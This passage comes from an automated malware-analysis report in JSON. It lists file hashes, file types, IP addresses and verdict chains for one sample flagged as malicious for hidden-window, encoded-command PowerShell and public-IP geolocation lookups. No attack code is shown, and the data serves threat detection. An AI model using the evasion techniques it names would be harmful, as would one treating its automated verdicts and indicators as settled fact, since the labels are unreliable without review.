data","filetype_short":"JSON","mime_type":"application/json"},"File:b91284b36e2920ab07bc374125cc3d5e1a1ed9a8a4f579884ebc951cffe5fa88":{"type":"File","value":"b91284b36e2920ab07bc374125cc3d5e1a1ed9a8a4f579884ebc951cffe5fa88","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:b9662dc4d655b0092dac62c14851812b7d684c929c410e33f2c9c57666b7c64d":{"type":"File","value":"b9662dc4d655b0092dac62c14851812b7d684c929c410e33f2c9c57666b7c64d","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:bd4d212f125b771508cdf377927be35cf1edcfd8437a62ec584b15c17ac942eb":{"type":"File","value":"bd4d212f125b771508cdf377927be35cf1edcfd8437a62ec584b15c17ac942eb","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows, 2 sections","filetype_short":"PE64","mime_type":"application/x-dosexec"},"File:bf372a82c813d748c09d1703ad8e0097e72ef3191ed94a22c3de37e86e9062c6":{"type":"File","value":"bf372a82c813d748c09d1703ad8e0097e72ef3191ed94a22c3de37e86e9062c6","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with very long lines (584), with no line terminators","filetype_short":"ASCIITEXT","mime_type":"application/x-powershell"},"File:c1de50163273f4e973a6750f5b9ae0e4d4e731041f8991daba595eb2a9480126":{"type":"File","value":"c1de50163273f4e973a6750f5b9ae0e4d4e731041f8991daba595eb2a9480126","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:c30caf24f37d9340e398fb5b859cf6e90c377ad0cde19b92bef789d76c6ffc56":{"type":"File","value":"c30caf24f37d9340e398fb5b859cf6e90c377ad0cde19b92bef789d76c6ffc56","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:c35ef71f8ab6e9cff344f88a62f6a02e495b6d83a7a92651d4962277e290c035":{"type":"File","value":"c35ef71f8ab6e9cff344f88a62f6a02e495b6d83a7a92651d4962277e290c035"},"File:c40e2324f4aefc7c42b65bf2dea583406c19b64dacc21bfc7b926786c9e99538":{"type":"File","value":"c40e2324f4aefc7c42b65bf2dea583406c19b64dacc21bfc7b926786c9e99538","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with no line terminators","filetype_short":"ASCIITEXT","mime_type":"text/plain"},"File:c44074d76c03f31fae294d147dff766006a74d878a5e102a37aaf4a3a196d6e3":{"type":"File","value":"c44074d76c03f31fae294d147dff766006a74d878a5e102a37aaf4a3a196d6e3","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with no line terminators","filetype_short":"ASCIITEXT","mime_type":"text/plain"},"File:c7f2097e6162d2dabd22b1118a41f92a6950bb6365ba7aaed4bc652bc42bebb7":{"type":"File","value":"c7f2097e6162d2dabd22b1118a41f92a6950bb6365ba7aaed4bc652bc42bebb7"},"File:c94956d02f705fd3aa16d28fa33363f0ce1c61bacfa58a1a7ddcf67a790c25b5":{"type":"File","value":"c94956d02f705fd3aa16d28fa33363f0ce1c61bacfa58a1a7ddcf67a790c25b5","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with very long lines (343), with no line terminators","filetype_short":"ASCIITEXT","mime_type":"application/x-powershell"},"File:cef632112204e8e6d4236e1ec5c0c551dda24cf283642d0f7f569366c97a5614":{"type":"File","value":"cef632112204e8e6d4236e1ec5c0c551dda24cf283642d0f7f569366c97a5614","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"data (from detonation memory_region)","filetype_short":"DATA","mime_type":"application/octet-stream"},"File:cf03a364f7eaf9d5ce2f2a96460e0805072830393a977e44d6225ddb5f084988":{"type":"File","value":"cf03a364f7eaf9d5ce2f2a96460e0805072830393a977e44d6225ddb5f084988","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"data (from un7z)","filetype_short":"DATA","mime_type":"application/octet-stream"},"File:e31a49bcb7d98b4e937ae0152c73d8986f64a4ecb29b9202cda6080aad55d301":{"type":"File","value":"e31a49bcb7d98b4e937ae0152c73d8986f64a4ecb29b9202cda6080aad55d301","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with no line terminators","filetype_short":"ASCIITEXT","mime_type":"application/javascript"},"File:e39920d5a7e7b676e5d4fca00baecc3b45ec825f03c003ee626cd320e45f6016":{"type":"File","value":"e39920d5a7e7b676e5d4fca00baecc3b45ec825f03c003ee626cd320e45f6016","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections","filetype_short":"PE32","mime_type":"application/x-dosexec"},"File:e80232b4d18d0bb7e794be263ba937626f383f9917d4b8a737ba893a8f752293":{"type":"File","value":"e80232b4d18d0bb7e794be263ba937626f383f9917d4b8a737ba893a8f752293","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"data (from peinfo)","filetype_short":"DATA","mime_type":"application/x-iso9660-image"},"File:e9bc28430183686de04353020f35d1917692e7aa980b857386edec72f35a541d":{"type":"File","value":"e9bc28430183686de04353020f35d1917692e7aa980b857386edec72f35a541d","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:ec0a6df54bc0e80619ee7063134ba0b030d946a5229a7a3e96cbc7c4ef9e1df9":{"type":"File","value":"ec0a6df54bc0e80619ee7063134ba0b030d946a5229a7a3e96cbc7c4ef9e1df9","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"PEM certificate","mime_type":"application/x-pem-file"},"File:ef2538654f2092b8ae03ab3e6a4650af6ae33335376873b2fc4e75c625ac76dc":{"type":"File","value":"ef2538654f2092b8ae03ab3e6a4650af6ae33335376873b2fc4e75c625ac76dc","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"data (from detonation memory_region)","filetype_short":"DATA","mime_type":"application/x-iso9660-image"},"File:f880b898b54de3058273873617d3ce33684f1d26ba0582dfc15adfe0dbf8976f":{"type":"File","value":"f880b898b54de3058273873617d3ce33684f1d26ba0582dfc15adfe0dbf8976f","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with very long lines (403)","filetype_short":"ASCIITEXT","mime_type":"application/x-powershell"},"File:f9615285fceb6c402c3b1abc67c6de3c0a90d2c00ef9b14e7abc3e7ac4fb0807":{"type":"File","value":"f9615285fceb6c402c3b1abc67c6de3c0a90d2c00ef9b14e7abc3e7ac4fb0807","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"PE32+ executable (DLL) (console) x86-64 Mono/.Net assembly, for MS Windows, 3 sections","filetype_short":"PE64","mime_type":"application/x-dosexec"},"File:faa38d4432c0daf05a189dfbc6330736418bbe0e5d70bc0ccb5e83a5daa23bf2":{"type":"File","value":"faa38d4432c0daf05a189dfbc6330736418bbe0e5d70bc0ccb5e83a5daa23bf2","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"DOS batch file, ASCII text, with very long lines (59591)","filetype_short":"BAT","mime_type":"text/x-msdos-batch"},"File:ff5f5800076cf65aafd69ecdba866fc777bf0d45399ad930c113bb07fb898c18":{"type":"File","value":"ff5f5800076cf65aafd69ecdba866fc777bf0d45399ad930c113bb07fb898c18","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with very long lines (334), with no line terminators","filetype_short":"ASCIITEXT","mime_type":"application/x-powershell"},"Ip:208.95.112.1":{"type":"Ip","value":"208.95.112.1"},"Ip:94.198.96.165":{"type":"Ip","value":"94.198.96.165"},"Url:/json/":{"type":"Url","value":"/json/"}},"chains":[{"id":"1543192607461114277","root":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","edges":[],"verdict":{"verdict":"malicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service","Detected malicious dynamic behaviour","Found PowerShell process using window style 'hidden'","Found PowerShell process with '-EncodedCommand'"]}},{"id":"1543192602255982896","root":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","edges":[{"edge_kind":"contacted_domain","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"Domain:7d816e050bdc0e2c8c311beb81bbb0a35777e2e829eadf2afdf5b422b9579519"}],"verdict":{"verdict":"unknown"}},{"id":"1543192622849576430","root":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","edges":[{"edge_kind":"contacted_domain","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"Domain:f7864750d075d8a7a1b852ca3083aab9e11af5f37ee15dfa26a2caacc5ebede7"}],"verdict":{"verdict":"unknown"}},{"id":"1543192607469502886","root":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","edges":[{"edge_kind":"memory","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:01168298eb9f1866fd61205a6fa3bfd2a77ff216e098a08fa9cbb3a9a3e86823"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1543192607486280103","root":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","edges":[{"edge_kind":"memory","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:09c516820b25fe791c07ee270caf8336280084546fc6a3884f1874f0afe395b0"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1543192607503057320","root":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","edges":[{"edge_kind":"memory","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:0d8d98ba98857062c00ca8797a06d5fe42b8c9c81b06f00896cf9671c99bc77a"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1543192607243010458","root":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","edges":[{"edge_kind":"memory","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:1234aa5d193d9bd5e8e72a44e6e40a01381e2bd4b330d41b928ebaa92b8c5815"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1543192607536611753","root":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","edges":[{"edge_kind":"memory","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:165d7492c9577677efdee8e793cb0bd63d0abd824f5648b6c1ecfe19559b921a"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1543192606785831302","root":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","edges":[{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:1b5ac16fdeed1f1d8a9389213d78b4356d26a0823d0054fcb4869d892b89d213"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1543192607574360490","root":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","edges":[{"edge_kind":"memory","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:1b7aa34e0995f2100753d9c492ccd40275d1095d81fa100844cbc8178806c86b"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1543192607280759196","root":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","edges":[{"edge_kind":"memory","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:1c92c0a413fdd43446a3ea2ade899d1f902a594f50bcd7dd69feefc76222aab0"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1543192607607914923","root":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","edges":[{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:2666aa754b423a404dcc68cb0aec6df87030c670606e622f0b5e80139f7760a6"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1543192606932631949","root":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","edges":[{"edge_kind":"memory","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:2b47992d842e6f7953eae60164a4652278bf0413375b406508b2df5c0cbb7bd3"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1543192606953603470","root":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","edges":[{"edge_kind":"memory","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:39087e204bb3f5480a6d7bbdd9c4b522d98a558c107136f13ce9c8387a57a96b"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1543192607666635180","root":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","edges":[{"edge_kind":"memory","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:4015f4a188a3894b14000f905e4fefb18764385dc4078b2745f12930ad980d03"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1543192606978769295","root":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","edges":[{"edge_kind":"memory","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:4240a55975adbfe765fddfd17ccca5f287da2e9c0167957f2b91abef64c230e1"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1543192607012323728","root":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","edges":[{"edge_kind":"memory","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:624ef36c6e1bb605286d4ae44e275b32b563fafeccfc7ae3212e91175d5194a1"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1543192607721161133","root":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","edges":[{"edge_kind":"memory","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:66618526354887f15ef4682c2af515e5e6d1dd87d85289e2f7e2b117a54981ad"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1543192607737938350","root":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","edges":[{"edge_kind":"memory","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:75e50b0d2e70dcba5cf1919181082be2e0fb2c4ef693d66cefb593736c8079ad"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1543192607754715567","root":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","edges":[{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:76156bef4fb21386d4e6514706ad4778b468d27b53e215de05d1274fdfb44b31"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1543192606802608519","root":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","edges":[{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:7679f80ee2539dc758ff4b600265d87c69c214ee12c5fd0efd473a87d85c311b"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1543192607788270000","root":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","edges":[{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:843b1e0910335e61499f5cf3a620f936ae62f3d25ccde352ff2ce60954737a2f"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1543192607079432595","root":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","edges":[{"edge_kind":"memory","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:873caf55fd4116af7f56c707083b93e4c2445855dcb9a5432bf5da3f944821c1"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1543192607826018737","root":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","edges":[{"edge_kind":"memory","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:8f48f434845a1a805eb235fa12f58d52ef1e6023db590f21bd3d7ee718274cf0"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1543192607352062368","root":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","edges":[{"edge_kind":"memory","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:8f86e3c3874649bb56bbb551a099462371a87f22421487a86a8637072bc14dd0"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1543192607859573170","root":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","edges":[{"edge_kind":"memory","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:ae4f879b42c4007682c3d7fb8a28a3b81103111fba8eb4f9f603baa800ac14bf"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1543192607880544691","root":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","edges":[{"edge_kind":"memory","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:b0c6b4888c590056b443ca3aa3cecab904b778de78d6dc50a032c6f6e19e1a08"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1543192607897321908","root":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","edges":[{"edge_kind":"memory","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:bd4d212f125b771508cdf377927be35cf1edcfd8437a62ec584b15c17ac942eb"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1543192607918293429","root":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","edges":[{"edge_kind":"memory","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:cef632112204e8e6d4236e1ec5c0c551dda24cf283642d0f7f569366c97a5614"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1543192607939264950","root":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","edges":[{"edge_kind":"memory","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:ef2538654f2092b8ae03ab3e6a4650af6ae33335376873b2fc4e75c625ac76dc"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1543192607960236471","root":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","edges":[{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:f880b898b54de3058273873617d3ce33684f1d26ba0582dfc15adfe0dbf8976f"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1543192607201067416","root":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","edges":[{"edge_kind":"memory","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:f9615285fceb6c402c3b1abc67c6de3c0a90d2c00ef9b14e7abc3e7ac4fb0807"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1543192607997985208","root":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","edges":[{"edge_kind":"dropped","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:faa38d4432c0daf05a189dfbc6330736418bbe0e5d70bc0ccb5e83a5daa23bf2"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1543192608014762425","root":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","edges":[{"edge_kind":"memory","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:1234aa5d193d9bd5e8e72a44e6e40a01381e2bd4b330d41b928ebaa92b8c5815"},{"edge_kind":"extracted_from_archive","from_key":"File:1234aa5d193d9bd5e8e72a44e6e40a01381e2bd4b330d41b928ebaa92b8c5815","to_key":"File:5f70bf18a086007016e948b04aed3b82103a36bea41755b6cddfaf10ace3c6ef"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1543192608031539642","root":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","edges":[{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:1b5ac16fdeed1f1d8a9389213d78b4356d26a0823d0054fcb4869d892b89d213"},{"edge_kind":"extracted","from_key":"File:1b5ac16fdeed1f1d8a9389213d78b4356d26a0823d0054fcb4869d892b89d213","to_key":"File:11ada68eadc52507b36a5fd112ee187c4486ab673addeea688a6d686aa2d7577"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1543192608052511163","root":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","edges":[{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:1b5ac16fdeed1f1d8a9389213d78b4356d26a0823d0054fcb4869d892b89d213"},{"edge_kind":"extracted","from_key":"File:1b5ac16fdeed1f1d8a9389213d78b4356d26a0823d0054fcb4869d892b89d213","to_key":"File:2b4b2d4a06044ad0bd2ae3287cfcbecd90b959feb2f503ac258d7c0a235d6fe9"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1543192608065094076","root":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","edges":[{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:1b5ac16fdeed1f1d8a9389213d78b4356d26a0823d0054fcb4869d892b89d213"},{"edge_kind":"extracted","from_key":"File:1b5ac16fdeed1f1d8a9389213d78b4356d26a0823d0054fcb4869d892b89d213","to_key":"File:3161eb856da8ba2fc17b6586489cbb5255c31d2083161bf2f80ecc3b81830960"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1543192608081871293","root":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","edges":[{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:1b5ac16fdeed1f1d8a9389213d78b4356d26a0823d0054fcb4869d892b89d213"},{"edge_kind":"extracted","from_key":"File:1b5ac16fdeed1f1d8a9389213d78b4356d26a0823d0054fcb4869d892b89d213","to_key":"File:3e99aa655bc746ddfc486e77576611c78aa23ab160f90d792ec1648cb6c03b32"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1543192613073093273","root":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","edges":[{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:1b5ac16fdeed1f1d8a9389213d78b4356d26a0823d0054fcb4869d892b89d213"},{"edge_kind":"extracted","from_key":"File:1b5ac16fdeed1f1d8a9389213d78b4356d26a0823d0054fcb4869d892b89d213","to_key":"File:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1543192608119620031","root":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","edges":[{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:1b5ac16fdeed1f1d8a9389213d78b4356d26a0823d0054fcb4869d892b89d213"},{"edge_kind":"extracted","from_key":"File:1b5ac16fdeed1f1d8a9389213d78b4356d26a0823d0054fcb4869d892b89d213","to_key":"File:500c344d35847da6eb2a3103b1dc3f3dbc676e0fb68279134e6705cd22d006b6"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external 